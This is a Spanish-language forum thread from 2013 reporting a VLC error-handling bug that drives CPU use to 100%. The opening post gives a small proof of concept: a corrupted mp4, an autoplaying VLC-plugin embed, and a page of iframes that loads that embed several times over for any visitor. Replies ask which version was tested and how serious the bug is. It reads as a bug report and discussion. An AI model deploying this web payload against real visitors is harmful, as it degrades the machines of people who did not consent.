elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Bug VLC en el manejo de errores
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bug VLC en el manejo de errores  (Leído 6,012 veces)
Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Bug VLC en el manejo de errores
« en: 22 Agosto 2013, 20:33 pm »

Buenas, hace poco me di cuenta de que VLC no maneja bien los errores produciendo un bucle infinito que sobrecarga la CPU. Lo peor es que esto ocurre también cuando cargas un video de VLC por html sobrecargando la CPU de el que la visite hasta el 100%.

No se si esto es realmente un fallo de seguridad o no o si es grave o no y por eso busco la opinión de terceras personas.

Paso a explicar rápidamente la POC que hice para probar si a la gente también se le colapsaba la CPU al visitar la web.

Primero cree un archivo mp4 corrupto que edite con el siguiente contenido inválido
Citar
AAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓

Luego cree un archivo html que cargaba dicho vieo
Código:
<embed type="application/x-vlc-plugin" pluginspage="http://www.videolan.org" version="VideoLAN.VLCPlugin.2"  width="100%"  height="100%" id="vlc" loop="yes" autoplay="yes" target="a.mp4"></embed>
Una vez echo esto cree otro html que colocaba unos 4 iframes del archivo anterior
Código:
<iframe src="a.html"></iframe> <iframe src="a.html"></iframe> <iframe src="a.html"></iframe> <iframe src="a.html"></iframe> 

Y el resultado fue el siguiente



Resulta algo penoso que un programa como VLC falle en el manejo de errores.

Saludos, espero sus opiniones.


En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Bug VLC en el manejo de errores
« Respuesta #1 en: 1 Septiembre 2013, 00:38 am »

Que version del VLC estas asuando?

-berz3k.
En línea

Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Re: Bug VLC en el manejo de errores
« Respuesta #2 en: 1 Septiembre 2013, 11:09 am »

Que version del VLC estas asuando?

-berz3k.

La más actualizada.
En línea

ameise_1987

Desconectado Desconectado

Mensajes: 119



Ver Perfil
Re: Bug VLC en el manejo de errores
« Respuesta #3 en: 1 Septiembre 2013, 19:37 pm »

el más actualizado segun los repositorios de debian weezy (?)


http://blog.scrt.ch/2013/07/24/vlc-abc-parsing-seems-to-be-a-ctf-challenge/
En línea

firma retirada por insultar/cachondearse de (anelkaos) del staff.
Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Re: Bug VLC en el manejo de errores
« Respuesta #4 en: 1 Septiembre 2013, 21:56 pm »

el más actualizado segun los repositorios de debian weezy (?)


http://blog.scrt.ch/2013/07/24/vlc-abc-parsing-seems-to-be-a-ctf-challenge/

Que interesante.
Gracias por compartir.
En línea

cachacko

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Bug VLC en el manejo de errores
« Respuesta #5 en: 4 Septiembre 2013, 03:17 am »




¿Qué tan grave es el bug?



En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Tutos: obtener datos y manejo de windows con c#... tuto_1: manejo de procesos
Scripting
tongoxcore 2 9,390 Último mensaje 21 Julio 2008, 23:44 pm
por Zaraki_lkenpachi
Ingenieria de Software en le Manejo de Errores
Programación General
cyberserver 2 4,064 Último mensaje 24 Diciembre 2010, 05:58 am
por 1mpuls0
consulta sobre Funciones de manejo de errores [c++] « 1 2 »
Programación C/C++
xkiz ™ 10 7,151 Último mensaje 11 Octubre 2011, 06:24 am
por Karman
Manejo de errores dudas
Java
Cazs03 1 1,901 Último mensaje 8 Marzo 2013, 23:14 pm
por 1mpuls0
Manejo de errores [Resuelto]
PHP
elezekiel 4 3,393 Último mensaje 20 Agosto 2017, 21:44 pm
por elezekiel
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines